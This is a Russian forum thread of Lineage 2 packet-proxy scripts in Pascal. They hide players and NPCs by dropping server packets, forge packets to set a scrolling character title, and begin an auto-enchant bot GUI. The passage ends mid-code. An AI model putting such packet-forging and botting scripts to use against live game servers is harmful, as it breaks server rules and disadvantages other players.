buf:=Hstr('4A 00 00 00 00 0A 00 00 00 00 00 4B 00 69 00 6C 00 6C 00 20 00 50 00 6C 00 61 00 79 00 65 00 72 00 73 00 20 00 2D 00 20 00 41 04 3A 04 40 04 4B 04 32 04 30 04 35 04 42 04 20 00 32 04 41 04 35 04 45 04 20 00 3F 04 35 04 40 04 41 04 3E 04 3D 04 30 04 36 04 35 04 39 04 2C 00 20 00 4B 00 69 00 6C 00 6C 00 20 00 4E 00 70 00 63 00 20 00 2D 00 20 00 41 04 3A 04 40 04 4B 04 32 04 30 04 35 04 42 04 20 00 32 04 41 04 35 04 45 04 20 00 32 04 35 04 3D 04 34 04 3E 04 40 04 3E 04 32 04 20 00 3A 00 29 00 20 00 2C 00 20 00 43 00 75 00 72 00 65 00 20 00 2D 00 20 00 32 04 4B 04 3A 04 3B 04 4E 04 47 04 30 04 35 04 42 04 20 00 41 04 3A 04 40 04 4B 04 32 04 30 04 3B 04 3A 04 43 04 2C 00 20 00 34 04 3B 04 4F 04 20 00 3E 04 42 04 3E 04 31 04 40 04 30 04 36 04 35 04 3D 04 38 04 4F 04 20 00 32 04 41 04 35 04 45 04 20 00 32 04 3E 04 3A 04 40 04 43 04 33 04 20 00 32 04 3A 04 3B 04 4E 04 47 04 38 04 42 04 35 04 20 00 38 04 20 00 37 04 30 04 42 04 35 04 3C 04 20 00 32 04 4B 04 3A 04 3B 04 4E 04 47 04 38 04 42 04 35 04 20 00 32 04 38 04 34 04 35 04 3E 04 41 04 4A 04 35 04 3C 04 3A 04 43 04 20 00 40 04 3E 04 3B 04 38 04 3A 04 3E 04 32 04 20 00 28 00 41 04 29 00 6D 00 65 00 74 00 61 00 6C 00 46 00 61 00 6E 00 00 00');
SendToClientEx(name);
frm.show;
frm2.Show;
r1:=False;
r2:=False;
r3:=True;
s:=true;
end;

procedure Free; //Вызывается при выключении скрипта
begin
button1.free;
button2.free;
button3.free;
m.free;
frm2.free;
frm.free;
end;

//(c)NLObP скажи нет случайному закрытию формы
procedure FormClose(Sender: TObject; var Action: TCloseAction);
begin
Action:=caNone;
end;

procedure OnDisconnect(WithClient: Boolean); //Вызывается при установке соединения
begin
NoFreeOnClientDisconnect;
NoFreeOnServerDisconnect;
end;
procedure Button1MouseMove(Sender: TButton);
begin
Button1.Caption := 'Kill players';
end;
procedure Button2MouseMove(Sender: TButton);
begin
Button2.Caption := 'Kill npc';
end;
procedure Button3MouseMove(Sender: TButton);
begin
Button3.Caption := 'Stop filter';
end;
procedure Button4MouseMove(Sender: TButton);
begin
Button4.Caption := 'Switch';
end;
procedure Button5MouseMove(Sender: TButton);
begin
if s=true then
begin
Button5.Caption := 'Hide Monitor'
end else
begin
Button5.Caption := 'Show Monitor';
end;
end;
procedure Action1(Sender: TButton);
begin
r1:=True;
buf:=Hstr('4A 00 00 00 00 0A 00 00 00 00 00 23 04 31 04 38 04 32 04 30 04 4E 04 20 00 38 04 33 04 40 04 3E 04 3A 04 3E 04 32 04 00 00');
SendToClientEx(name);
end;
procedure Action2 (Sender: TButton);
begin
r2:=True;
buf:=Hstr('4A 00 00 00 00 0A 00 00 00 00 00 23 04 31 04 38 04 32 04 30 04 4E 04 20 00 32 04 35 04 3D 04 34 04 3E 04 40 04 3E 04 32 04 00 00');
SendToClientEx(name);
end;
procedure Action3 (Sender: TButton);
begin
Button3.Caption := 'Load...';
r1:=False;
r2:=False;
buf:=Hstr('CF');
SendToServerEx(name);
delay(5000);
Button3.Caption := 'Done';
end;
procedure Action4 (Sender: TButton);
begin
if r3=true then
begin
r3:=False;
Button4.Caption := 'Stop...';
m.Lines.Add('Остановка монитора');
end
else
begin r3:=true;
Button4.Caption := 'Start...';
m.Lines.Add('Запуск монитора');
end;
delay(1000);
Button4.Caption := 'Done';
end;
procedure Action5 (Sender: TButton);
begin
if s=true then
begin
m.Lines.Add('Сворачиваю окошко с живностью');
s:=false;
m.Lines.Add('>.<');
delay(1000);
frm2.hide;
Button5.Caption := '>.<';
end else
begin
frm2.Show;
s:=True;
delay(1000);
m.Lines.Add('Разворачиваю окошко с живностью');
Button5.Caption := '>.<';
end;


end;
//(c)Shura1oplot инвентарь
procedure InventoryCreate;
var
i,k: integer;
begin
for i:=0 to 79 do
if (i<ReadH(4)) then begin
Inventory[i,0]:=ReadH(i*28+6); // itemType1
Inventory[i,1]:=ReadD(i*28+8); // ObjectId
Inventory[i,2]:=ReadD(i*28+12); // ItemID
end else
for k:=0 to 9 do Inventory[i,k]:=0; // забиваем нулями
end;

function GetInv(obj,up,down:integer): integer;
var
i: integer;
begin
for i:=0 to 79 do
if (Inventory[i,up]=obj) then begin
Result:=Inventory[i,down];
exit;
end;
Result:=-1;
end;
begin
if (FromServer) and (ConnectName=name) then
case pck[1] of
#$03: begin
if r1=true then
begin
pck:='';
end;
end;
#$16: begin
if r2=true then
begin
pck:='';
end;
end;
end;
if FromServer and (pck[1]=#$03) and r3=true then
begin
k:=22;
FName:=ReadS(k);
RaceID:=ReadD(k);
SexID:=ReadD(k);
ClassID:=ReadD(k);
case RaceID of
0:race:='Human';
1:race:='Elf';
2:race:='Dark Elf';
3:race:='Оrc';
4:race:='Dwarf';
end;
case SexID of
0:sex:='Male';
1:sex:='Female';
end;
case ClassID of
0:class:='Fighter';
1:class:='Warrior';
2:class:='Gladiator';
88:class:='Duelist';
3:class:='Warlord';
89:class:='Dreadnought';
4:class:='Knight';
5:class:='Paladin';
90:class:='PhoenixKnight';
6:class:='DarkAvenger';
91:class:='HellKnight';
7:class:='Rogue';
8:class:='TreasureHunter';
93:class:='Adventurer';
9:class:='Hawkeye';
92:class:='Sagittarius';
10:class:='Mage';
11:class:='Wizard';
12:class:='Sorceror';
94:class:='Archmage';
13:class:='Necromancer';
95:class:='Soultaker';
14:class:='Warlock';
96:class:='ArcanaLord';
15:class:='Cleric';
16:class:='Bishop';
97:class:='Cardinal';
17:class:='Prophet';
98:class:='Hierophant';
18:class:='Fighter';
19:class:='Knight';
20:class:='TempleKnight';
99:class:='EvaTemplar';
21:class:='SwordSinger';
22:class:='Scout';
23:class:='PlainsWalker';
101:class:='WindRider';
24:class:='SilverRanger';
102:class:='MoonlightSentinel';
25:class:='Mage';
26:class:='Wizard';
27:class:='SpellSinger';
103:class:='MysticMuse';
28:class:='ElementalSummoner';
104:class:='ElementalMaster';
29:class:='Oracle';
30:class:='Elder';
105:class:='EvaSaint';
31:class:='Fighter';
32:class:='PaulusKnight';
33:class:='ShillienKnight';
106:class:='ShillienTemplar';
34:class:='BladeDancer';
107:class:='SpectralDancer';
35:class:='Assassin';
36:class:='AbyssWalker';
108:class:='GhostHunter';
37:class:='PhantomRanger';
109:class:='GhostSentinel';
38:class:='Mage';
39:class:='DarkWizard';
40:class:='Spellhowler';
110:class:='StormScreamer';
41:class:='PhantomSummoner';
111:class:='SpectralMaster';
42:class:='ShillienOracle';
43:class:='ShillienElder';
112:class:='ShillienSaint';
44:class:='Fighter';
45:class:='Raider';
46:class:='Destroyer';
113:class:='Titan';
47:class:='Monk';
48:class:='Tyrant';
114:class:='GrandKhauatari';
49:class:='Mage';
50:class:='Shaman';
51:class:='Overlord';
115:class:='Dominator';
52:class:='Warcryer';
116:class:='Doomcryer';
53:class:='Fighter';
54:class:='Scavenger';
55:class:='BountyHunter';
117:class:='FortuneSeeker';
56:class:='Artisan';
57:class:='Warsmith';
118:class:='Maestro';
end;
Message:=(class+ ' |' +race+ ' |' +sex+ ' |');
m.Lines.Add(FName+' | '+Message);
end;
end.
end.

end.


в общем идете вы в гиран мило купить бутылки у вендора на сервере где онлайн под пару тысяч закатил, а там...
лаги... всюду гномы трейдеры и ктото бегает в общем очень плохо ващему слабому компьютеру...
но этот скрипт если не полностью, (MoveToPawn, MoveToLocation ни как не убить =\ хотя...) то облягчит вам жизнь, он скроет всех ненужных игроков и\или вендоров
функции можно включать\отключать в общем методом тыка думаю разберетесь
(с)metalFan

siiion1
10.01.2010, 12:51
// Бегущая строка в титуле, ©Br1nk v0.2
// пишем rt в пати чате для включения и выключения

var
title, temp, titleoff: string;
activated, mult, safemode: integer;
tmr: TTimer;

procedure Init; //Вызывается при включении скрипта
begin
title := 'ВСЕХ ЛЮБЛЮ НА СВЕТЕ Я ЭТО РОДИНА МОЯ!'; // текст титула
titleoff := '-=ШОН=-';
activated := 0; // Определяет, включается ли бегущая строка сразу при запуске скрипта или только после введения команды rt в патичат
safemode := 1; // безопасный режим, стандартная длина титула. Если вы играете на кривой яве, поставьте 0, это даст вам более длинный титул, соответственно выглядит пижже..)
tmr := TTimer.Create(nil);
tmr.Interval := 800; // Частота обновления (мс)
tmr.Enabled := False;
tmr.OnTimer := @Tick;
mult := 4; // Определяет на сколько букв сдвигается строка в титуле при обновлении
end;

procedure Free;
begin
tmr.Free;
SetTitle(titleoff);
end;

procedure Tick;
begin
temp := copy(title, 2 + mult, Length(title) - 1 - mult) + copy(title, 1, 1 + mult);
title := temp;
if safemode then
SetTitle(Copy(temp, 0, 16))
else
SetTitle(temp);
end;

procedure Announce(text:string); // for debug purposes
begin
buf := #$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(text);
SendToClient;
end;

procedure SetTitle(text: string);
begin
buf := HStr('55');
WriteS(ConnectName);
WriteS(text);
WriteD(0);
SendToServer;
end;

begin
if FromClient and (pck=HStr('38 72 00 74 00 00 00 03 00 00 00')) then
begin
if (activated = 1) then
begin
activated := 0;
SetTitle(titleoff);
Announce('Title script powered off.');
end
else
activated := 1;
pck := '';
end;
if (activated = 1) then
tmr.Enabled := True
else
tmr.Enabled := False;
end.

бегущий титул ))пишем все что угодно ,мож кому пригодится
ТЕСТИЛ НА ВЕРСИИ 4,3,0,13
включаем скрипт,пишем rt в пати чат
пригодится дайте спасибку)))

H0oL1GaN
02.02.2010, 17:32
[CODE]//Список констант
const
Name='siiion'; //Вписать сюда имя чара
//установить константу в зависимости от типа игры (С4 или Интерлюд)
interlude=true; //Interlude - true, C4 - false
//-------------------------
max=100; //количество слотов в инвентаре чара

//............................................
//Список переменных
var
Item, scrl:integer;
ScrollID, ScrollOID:integer; //ScrollID скролла заточки
ItemID,ItemOID:integer; //ItemID затачиваемого предмета
MaxEnchLvl:integer; //уровень заточки который требуется достичь
ItemBase: array[1..4,1..max] of integer; //ItemOID, ItemID, Kol-vo, ItemLvl
ready, add : boolean;
timer : TTimer;
ItemCount, CurEnchLvl: integer;
SocialID : integer; // вспомогательная
ItemsName, StringList : TStringList; //названия предметов, имена продавцов
FormMain : TForm; //Создаваемая форма
Splitter1 : TSplitter;
Splitter2 : TSplitter;
Stats : TMemo;
Msg : TMemo;
Panel1 : TPanel;
GroupBox2 : TGroupBox;
Label2 : TLabel;
Label4 : TLabel;
Label12 : TLabel;
Label13 : TLabel;
CheckBoxItem : TCheckBox;
ComboBoxItem : TComboBox;
ButtonStartEnchant : TButton;
ButtonStopEnchant : TButton;
CheckBoxScroll : TCheckBox;
ComboBoxScroll : TComboBox;
EditItemVal : TEdit;
EditScrollVal : TEdit;
EditScrollOID : TEdit;
EditItemOID : TEdit;
Label1 : TLabel;
Label3 : TLabel;
Edit1 : TEdit;
Edit2 : TEdit;
//............................................
//*************************************
//Обработчики событий для элементов управления на форме
//......................................
//CheckBoxItem
procedure CheckBoxItem_Click(Sender: TCheckBox);
//Event : OnClick
begin
if CheckBoxItem.Checked
then begin
ItemOID:=ItemBase[1,ComboBoxItem.ItemIndex+1];
ItemID:=ItemBase[2,ComboBoxItem.ItemIndex+1];
//проверка
// EditItemOID.Text:=Inttostr(ItemID);
// EditItemVal.text:=inttostr(ItemOID);

ComboBoxItem.Enabled:=false; //выключаем
end else begin
ItemID:=0; //отмена
ItemOID:=0;
ComboBoxItem.Enabled:=true; //включаем
//Пакет RequestItemList
buf:=hstr('0F');
SendToServerEx(Name);
end;
end;
//......................................
//......................................
//ComboBoxItem
procedure ComboBoxItem_Click(Sender: TComboBox);
//Event : OnClick
begin
ItemOID:=ItemBase[1,ComboBoxItem.ItemIndex+1];
ItemID:=ItemBase[2,ComboBoxItem.ItemIndex+1];
// ItemID:=ExtractIDValues(ComboBoxItem.Items.Strings[ComboBoxItem.ItemIndex]);
EditItemOID.Text:=Inttostr(ItemID);
EditItemVal.text:=inttostr(sumitem(ItemID));
end;
//......................................
//......................................
//CheckBoxScroll
procedure CheckBoxScroll_Click(Sender: TCheckBox);
//Event : OnClick
begin
if CheckBoxScroll.Checked
then begin
ScrollOID:=ItemBase[1,ComboBoxScroll.ItemIndex+1];
ScrollID:=ItemBase[2,ComboBoxScroll.ItemIndex+1];
//проверка
// EditScrollOID.Text:=Inttostr(ScrollID);
// EditScrollVal.text:=inttostr(ScrollOID);
ComboBoxScroll.Enabled:=false; //выключаем
end else begin
ScrollID:=0; //отмена
ScrollOID:=0;
ComboBoxScroll.Enabled:=true; //включаем
//Пакет RequestItemList
buf:=hstr('0F');
SendToServerEx(Name);
end;
end;
//......................................
//......................................
//ComboBoxScroll
procedure ComboBoxScroll_Click(Sender: TComboBox);
//Event : OnClick
begin
ScrollOID:=ItemBase[1,ComboBoxScroll.ItemIndex+1];
ScrollID:=ItemBase[2,ComboBoxScroll.ItemIndex+1];
// ScrollID:=ExtractIDValues(ComboBoxScroll.Items.Str ings[ComboBoxScroll.ItemIndex]);
EditScrollOID.Text:=Inttostr(ScrollID);
EditScrollVal.text:=inttostr(sumitem(ScrollID));
end;
//......................................
//......................................
//ButtonStartEnchant
procedure ButtonStartEnchant_Click(Sender: TButton);
//Event : OnClick
begin
CurEnchLvl:=0;
Edit2.text:=inttostr(CurEnchLvl);
msg.Lines.Add('Команда Старт!!!');
timer.enabled:=true;
end;
//......................................
//......................................
//ButtonStopEnchant
procedure ButtonStopEnchant_Click(Sender: TButton);
//Event : OnClick
begin
msg.Lines.Add('Команда Стоп!!!');
timer.enabled:=false;
ready:=false;
end;
//......................................
//......................................
procedure Edit1_Exit(Sender: TEdit);
//Event : OnExit
begin
// MyHPID:=ExtractIDValues(ComboBoxHPotion.Items.Stri ngs[ComboBoxHPotion.ItemIndex]);
// EditHPotionVal.Text:=Inttostr(FindItem(MyHPID));
// EditHPotionOID.text:=inttostr(ItemBase2[1,1]);
end;
//......................................
//*************************************
procedure Free_FormMain;
//Освобождаем ресурсы ...
begin
TRY
if FormMain<>NIL then begin
FormMain.Free;
FormMain:=NIL;
end;
FINALLY
END;
end; //Free_FormMain
//========================
//========================
function Create_FormMain : TForm;
//Создаем форму и соотв. компоненты на ней ...
Var
Yes : boolean;
begin
Yes := FALSE;
Result := TForm.Create(nil);

TRY
//------------------------
//Свойства формы
Result.Caption := 'Enchant by NLObP v.0.7';
Result.Left := 397;
Result.Top := 233;
Result.Width := 581;
Result.Height := 205;
Result.FormStyle := fsNormal;
Result.Position := poDesigned;
Result.BorderStyle := bsSizeable;
Result.BorderWidth := 0;
Result.WindowState := wsNormal;
Result.Color := clBtnFace;
Result.Font.Name := 'Tahoma';
Result.Font.Size := 8;
Result.Font.Color := clWindowText;
Result.Font.CharSet:= 1;
//------------------------
//......................................
//Splitter1
Splitter1 := TSplitter.Create(Result);
Splitter1.Parent := Result;
Splitter1.Align := alBottom;
Splitter1.Color := clBtnFace;
Splitter1.Left := 0;
Splitter1.Top := 103;
Splitter1.Width := 573;
Splitter1.Height := 3;
Splitter1.Visible := TRUE;
Splitter1.Tag := 0;
//......................................
//......................................
//Splitter2
Splitter2 := TSplitter.Create(Result);
Splitter2.Parent := Result;
Splitter2.Align := alRight;
Splitter2.Color := clBtnFace;
Splitter2.Left := 442;
Splitter2.Top := 0;
Splitter2.Width := 1;
Splitter2.Height := 103;
Splitter2.Visible := TRUE;
Splitter2.Tag := 0;
//......................................
//......................................
//Stats
Stats := TMemo.Create(Result);
Stats.Parent := Result;
Stats.Left := 443;
Stats.Top := 0;
Stats.Width := 130;
Stats.Height := 103;
Stats.Visible := TRUE;
Stats.Tag := 0;
Stats.Enabled := TRUE;
Stats.Hint := '';
Stats.ShowHint := FALSE;
Stats.Font.Name := 'Tahoma';
Stats.Font.Size := 8;
Stats.Font.Color := clWindowText;
Stats.Color := clWindow;
Stats.TabOrder := 0;
Stats.TabStop := TRUE;
Stats.Align := alRight;
Stats.WordWrap := TRUE;
Stats.Alignment := taLeftJustify;
Stats.WantTabs := FALSE;
Stats.WantReturns := TRUE;
Stats.HideSelection := TRUE;
Stats.MaxLength := 0;
Stats.OEMConvert := FALSE;
Stats.ReadOnly := FALSE;
Stats.ScrollBars := ssNone;
//......................................
//......................................
//Msg
Msg := TMemo.Create(Result);
Msg.Parent := Result;
Msg.Left := 0;
Msg.Top := 106;
Msg.Width := 573;
Msg.Height := 65;
Msg.Visible := TRUE;
Msg.Tag := 0;
Msg.Enabled := TRUE;
Msg.Hint := '';
Msg.ShowHint := FALSE;
Msg.Font.Name := 'Tahoma';
Msg.Font.Size := 8;
Msg.Font.Color := clWindowText;
Msg.Color := clWindow;
Msg.TabOrder := 1;
Msg.TabStop := TRUE;
Msg.Align := alBottom;
Msg.WordWrap := TRUE;
Msg.Alignment := taLeftJustify;
Msg.WantTabs := FALSE;
Msg.WantReturns := TRUE;
Msg.HideSelection := TRUE;
Msg.MaxLength := 0;
Msg.OEMConvert := FALSE;
Msg.ReadOnly := FALSE;
Msg.ScrollBars := ssNone;
//......................................
//......................................
//Panel1
Panel1 := TPanel.Create(Result);
Panel1.Parent := Result;
Panel1.Left := 0;
Panel1.Top := 0;
Panel1.Width := 442;
Panel1.Height := 103;
Panel1.Visible := TRUE;
Panel1.Tag := 0;
Panel1.Enabled := TRUE;
Panel1.Hint := '';
Panel1.ShowHint := FALSE;
Panel1.Caption := '';
Panel1.Align := alClient;
Panel1.Color := clBtnFace;
Panel1.Font.Name := 'Tahoma';
Panel1.Font.Size := 8;
Panel1.Font.Color := clWindowText;
Panel1.Font.CharSet := 1;
Panel1.BevelWidth := 1;
Panel1.BorderWidth := 0;
Panel1.BevelInner := bvNone;
Panel1.BevelOuter := bvRaised;
Panel1.TabOrder := 2;
Panel1.TabStop := FALSE;
Panel1.AutoSize := FALSE;
//......................................
//......................................
//GroupBox2
GroupBox2 := TGroupBox.Create(Result);
GroupBox2.Parent := Panel1;
GroupBox2.Left := 1;
GroupBox2.Top := 1;
GroupBox2.Width := 440;
GroupBox2.Height := 101;
GroupBox2.Visible := TRUE;
GroupBox2.Tag := 0;
GroupBox2.Enabled := TRUE;
GroupBox2.Hint := '';
GroupBox2.ShowHint := FALSE;
GroupBox2.Caption := 'Настройки';
GroupBox2.Align := alClient;
GroupBox2.Color := clBtnFace;
GroupBox2.Font.Name := 'Tahoma';
GroupBox2.Font.Size := 8;
GroupBox2.Font.Color := clWindowText;
GroupBox2.Font.CharSet := 1;
GroupBox2.TabOrder := 0;
GroupBox2.TabStop := FALSE;
//......................................
//......................................
//Label1
Label1 := TLabel.Create(Result);
Label1.Parent := GroupBox2;
Label1.Left := 10;
Label1.Top := 70;
Label1.Width := 58;
Label1.Height := 13;
Label1.Visible := TRUE;
Label1.Tag := 0;
Label1.Enabled := TRUE;
Label1.Hint := '';
Label1.ShowHint := FALSE;
Label1.Caption := 'Уровень Макс.:';
Label1.Transparent := TRUE;
Label1.WordWrap := FALSE;
Label1.Alignment := taLeftJustify;
Label1.Layout := tlTop;
Label1.AutoSize := TRUE;
Label1.Align := alNone;
Label1.Font.Name := 'Tahoma';
Label1.Font.Size := 8;
Label1.Font.Color := clWindowText;
Label1.Color := clBtnFace;
//......................................
//......................................
//Label1
Label3 := TLabel.Create(Result);
Label3.Parent := GroupBox2;
Label3.Left := 170;
Label3.Top := 70;
Label3.Width := 58;
Label3.Height := 13;
Label3.Visible := TRUE;
Label3.Tag := 0;
Label3.Enabled := TRUE;
Label3.Hint := '';
Label3.ShowHint := FALSE;
Label3.Caption := 'Мин.:';
Label3.Transparent := TRUE;
Label3.WordWrap := FALSE;
Label3.Alignment := taLeftJustify;
Label3.Layout := tlTop;
Label3.AutoSize := TRUE;
Label3.Align := alNone;
Label3.Font.Name := 'Tahoma';
Label3.Font.Size := 8;
Label3.Font.Color := clWindowText;
Label3.Color := clBtnFace;
//......................................
//......................................
//Edit1
Edit1 := TEdit.Create(Result);
Edit1.Parent := GroupBox2;
Edit1.Left := 90;
Edit1.Top := 67;
Edit1.Width := 60;
Edit1.Height := 21;
Edit1.Visible := TRUE;
Edit1.Tag := 0;
Edit1.Enabled := TRUE;
Edit1.Hint := 'Введи желаемый уровень заточки';
Edit1.ShowHint := TRUE;
Edit1.Text := '65535';
Edit1.Font.Name := 'Tahoma';
Edit1.Font.Size := 8;
Edit1.Font.Color := clWindowText;
Edit1.Color := clWindow;
Edit1.TabOrder := 5;
Edit1.TabStop := TRUE;
Edit1.ReadOnly := FALSE;
Edit1.MaxLength := 0;
Edit1.AutoSize := TRUE;
Edit1.OnExit := @Edit1_Exit;
//......................................
//......................................
//Edit2
Edit2 := TEdit.Create(Result);
Edit2.Parent := GroupBox2;
Edit2.Left := 199;
Edit2.Top := 67;
Edit2.Width := 60;
Edit2.Height := 21;
Edit2.Visible := TRUE;
Edit2.Tag := 0;
Edit2.Enabled := TRUE;
Edit2.Hint := 'Какого уровня смогли достичь';
Edit2.ShowHint := TRUE;
Edit2.Text := '0';
Edit2.Font.Name := 'Tahoma';
Edit2.Font.Size := 8;
Edit2.Font.Color := clWindowText;
Edit2.Color := clWindow;
Edit2.TabOrder := 5;
Edit2.TabStop := FALSE;
Edit2.ReadOnly := TRUE;
Edit2.MaxLength := 0;
Edit2.AutoSize := TRUE;
//......................................
//......................................
//Label2
Label2 := TLabel.Create(Result);
Label2.Parent := GroupBox2;
Label2.Left := 416;
Label2.Top := 19;
Label2.Width := 18;
Label2.Height := 13;
Label2.Visible := TRUE;
Label2.Tag := 0;
Label2.Enabled := TRUE;
Label2.Hint := '';
Label2.ShowHint := FALSE;
Label2.Caption := 'шт.';
Label2.Transparent := TRUE;
Label2.WordWrap := FALSE;
Label2.Alignment := taLeftJustify;
Label2.Layout := tlTop;
Label2.AutoSize := TRUE;
Label2.Align := alNone;
Label2.Font.Name := 'Tahoma';
Label2.Font.Size := 8;
Label2.Font.Color := clWindowText;
Label2.Color := clBtnFace;
//......................................
//......................................
//Label4
Label4 := TLabel.Create(Result);
Label4.Parent := GroupBox2;
Label4.Left := 416;
Label4.Top := 43;
Label4.Width := 18;
Label4.Height := 13;
Label4.Visible := TRUE;
Label4.Tag := 0;
Label4.Enabled := TRUE;
Label4.Hint := '';
Label4.ShowHint := FALSE;
Label4.Caption := 'шт.';
Label4.Transparent := TRUE;
Label4.WordWrap := FALSE;
Label4.Alignment := taLeftJustify;
Label4.Layout := tlTop;
Label4.AutoSize := TRUE;
Label4.Align := alNone;
Label4.Font.Name := 'Tahoma';
Label4.Font.Size := 8;
Label4.Font.Color := clWindowText;
Label4.Color := clBtnFace;
//......................................
//......................................
//Label12
Label12 := TLabel.Create(Result);
Label12.Parent := GroupBox2;
Label12.Left := 273;
Label12.Top := 3;
Label12.Width := 33;
Label12.Height := 13;
Label12.Visible := TRUE;
Label12.Tag := 0;
Label12.Enabled := TRUE;
Label12.Hint := '';
Label12.ShowHint := FALSE;
Label12.Caption := 'ItemID';
Label12.Transparent := TRUE;
Label12.WordWrap := FALSE;
Label12.Alignment := taLeftJustify;
Label12.Layout := tlTop;
Label12.AutoSize := TRUE;
Label12.Align := alNone;
Label12.Font.Name := 'Tahoma';
Label12.Font.Size := 8;
Label12.Font.Color := clWindowText;
Label12.Color := clBtnFace;
//......................................
//......................................
//Label13
Label13 := TLabel.Create(Result);
Label13.Parent := GroupBox2;
Label13.Left := 349;
Label13.Top := 3;
Label13.Width := 35;
Label13.Height := 13;
Label13.Visible := TRUE;
Label13.Tag := 0;
Label13.Enabled := TRUE;
Label13.Hint := '';
Label13.ShowHint := FALSE;
Label13.Caption := 'Кол-во';
Label13.Transparent := TRUE;
Label13.WordWrap := FALSE;
Label13.Alignment := taLeftJustify;
Label13.Layout := tlTop;
Label13.AutoSize := TRUE;
Label13.Align := alNone;
Label13.Font.Name := 'Tahoma';
Label13.Font.Size := 8;
Label13.Font.Color := clWindowText;
Label13.Color := clBtnFace;
//......................................
//......................................
//CheckBoxItem
CheckBoxItem := TCheckBox.Create(Result);
CheckBoxItem.Parent := GroupBox2;
CheckBoxItem.Left := 18;
CheckBoxItem.Top := 18;
CheckBoxItem.Width := 66;
CheckBoxItem.Height := 17;
CheckBoxItem.Visible := TRUE;
CheckBoxItem.Tag := 0;
CheckBoxItem.Enabled := TRUE;
CheckBoxItem.Hint := 'Поставить галочку если выбрали предмет';
CheckBoxItem.ShowHint := TRUE;
CheckBoxItem.Caption := 'Предмет';
CheckBoxItem.Font.Name := 'Tahoma';
CheckBoxItem.Font.Size := 8;
CheckBoxItem.Font.Color := clWindowText;
CheckBoxItem.Color := clBtnFace;
CheckBoxItem.TabOrder := 0;
CheckBoxItem.TabStop := TRUE;
CheckBoxItem.Checked := FALSE;
CheckBoxItem.AllowGrayed := FALSE;
CheckBoxItem.State := cbUnchecked;
CheckBoxItem.OnClick := @CheckBoxItem_Click;
//......................................
//......................................
//ComboBoxItem
ComboBoxItem := TComboBox.Create(Result);
ComboBoxItem.Parent := GroupBox2;
ComboBoxItem.Left := 90;
ComboBoxItem.Top := 16;
ComboBoxItem.Width := 169;
ComboBoxItem.Height := 21;
ComboBoxItem.Visible := TRUE;
ComboBoxItem.Tag := 0;
ComboBoxItem.Enabled := TRUE;
ComboBoxItem.Hint := 'Выбери из списка затачиваемый предмет';
ComboBoxItem.ShowHint := TRUE;
ComboBoxItem.Text := 'ComboBoxItem';
ComboBoxItem.Font.Name := 'Tahoma';
ComboBoxItem.Font.Size := 8;
ComboBoxItem.Font.Color := clWindowText;
ComboBoxItem.Color := clWindow;
ComboBoxItem.TabOrder := 1;
ComboBoxItem.TabStop := TRUE;
ComboBoxItem.ItemIndex := -1;
ComboBoxItem.Sorted := FALSE;
ComboBoxItem.ItemHeight := 13;
ComboBoxItem.OnClick := @ComboBoxItem_Click;
//......................................
//......................................
//ButtonStartEnchant
ButtonStartEnchant := TButton.Create(Result);
ButtonStartEnchant.Parent := GroupBox2;
ButtonStartEnchant.Left := 265;
ButtonStartEnchant.Top := 67;
ButtonStartEnchant.Width := 75;
ButtonStartEnchant.Height := 25;
ButtonStartEnchant.Visible := TRUE;
ButtonStartEnchant.Tag := 0;
ButtonStartEnchant.Enabled := TRUE;
ButtonStartEnchant.Hint := '';
ButtonStartEnchant.ShowHint := FALSE;
ButtonStartEnchant.Caption := 'Start';
ButtonStartEnchant.Font.Name := 'Tahoma';
ButtonStartEnchant.Font.Size := 8;
ButtonStartEnchant.Font.Color := clWindowText;
ButtonStartEnchant.Font.CharSet := 1;
ButtonStartEnchant.TabOrder := 2;
ButtonStartEnchant.TabStop := TRUE;
ButtonStartEnchant.Cancel := FALSE;
ButtonStartEnchant.ModalResult := 0;
ButtonStartEnchant.OnClick := @ButtonStartEnchant_Click;
//......................................
//......................................
//ButtonStopEnchant
ButtonStopEnchant := TButton.Create(Result);
ButtonStopEnchant.Parent := GroupBox2;
ButtonStopEnchant.Left := 341;
ButtonStopEnchant.Top := 67;
ButtonStopEnchant.Width := 75;
ButtonStopEnchant.Height := 25;
ButtonStopEnchant.Visible := TRUE;
ButtonStopEnchant.Tag := 0;
ButtonStopEnchant.Enabled := TRUE;
ButtonStopEnchant.Hint := '';
ButtonStopEnchant.ShowHint := FALSE;
ButtonStopEnchant.Caption := 'Stop';
ButtonStopEnchant.Font.Name := 'Tahoma';
ButtonStopEnchant.Font.Size := 8;
ButtonStopEnchant.Font.Color := clWindowText;
ButtonStopEnchant.Font.CharSet := 1;
ButtonStopEnchant.TabOrder := 3;
ButtonStopEnchant.TabStop := TRUE;
ButtonStopEnchant.Cancel := FALSE;
ButtonStopEnchant.ModalResult := 0;
ButtonStopEnchant.OnClick := @ButtonStopEnchant_Click;
//......................................
//......................................
//CheckBoxScroll
CheckBoxScroll := TCheckBox.Create(Result);
CheckBoxScroll.Parent := GroupBox2;
CheckBoxScroll.Left := 18;
CheckBoxScroll.Top := 41;
CheckBoxScroll.Width := 66;
CheckBoxScroll.Height := 23;
CheckBoxScroll.Visible := TRUE;
CheckBoxScroll.Tag := 0;
CheckBoxScroll.Enabled := TRUE;
CheckBoxScroll.Hint := 'Поставить галочку если выбрали скролл заточки';
CheckBoxScroll.ShowHint := TRUE;
CheckBoxScroll.Caption := 'Заточка';
CheckBoxScroll.Font.Name := 'Tahoma';
CheckBoxScroll.Font.Size := 8;
CheckBoxScroll.Font.Color := clWindowText;
CheckBoxScroll.Color := clBtnFace;
CheckBoxScroll.TabOrder := 4;
CheckBoxScroll.TabStop := TRUE;
CheckBoxScroll.Checked := FALSE;
CheckBoxScroll.AllowGrayed := FALSE;
CheckBoxScroll.State := cbUnchecked;
CheckBoxScroll.OnClick := @CheckBoxScroll_Click;
//......................................
//......................................
//ComboBoxScroll
ComboBoxScroll := TComboBox.Create(Result);
ComboBoxScroll.Parent := GroupBox2;
ComboBoxScroll.Left := 90;
ComboBoxScroll.Top := 40;
ComboBoxScroll.Width := 169;
ComboBoxScroll.Height := 21;
ComboBoxScroll.Visible := TRUE;
ComboBoxScroll.Tag := 0;
ComboBoxScroll.Enabled := TRUE;
ComboBoxScroll.Hint := 'Выбери из списка скролл заточки';
ComboBoxScroll.ShowHint := TRUE;
ComboBoxScroll.Text := 'ComboBoxScroll';
ComboBoxScroll.Font.Name := 'Tahoma';
ComboBoxScroll.Font.Size := 8;
ComboBoxScroll.Font.Color := clWindowText;
ComboBoxScroll.Color := clWindow;
ComboBoxScroll.TabOrder := 5;
ComboBoxScroll.TabStop := TRUE;
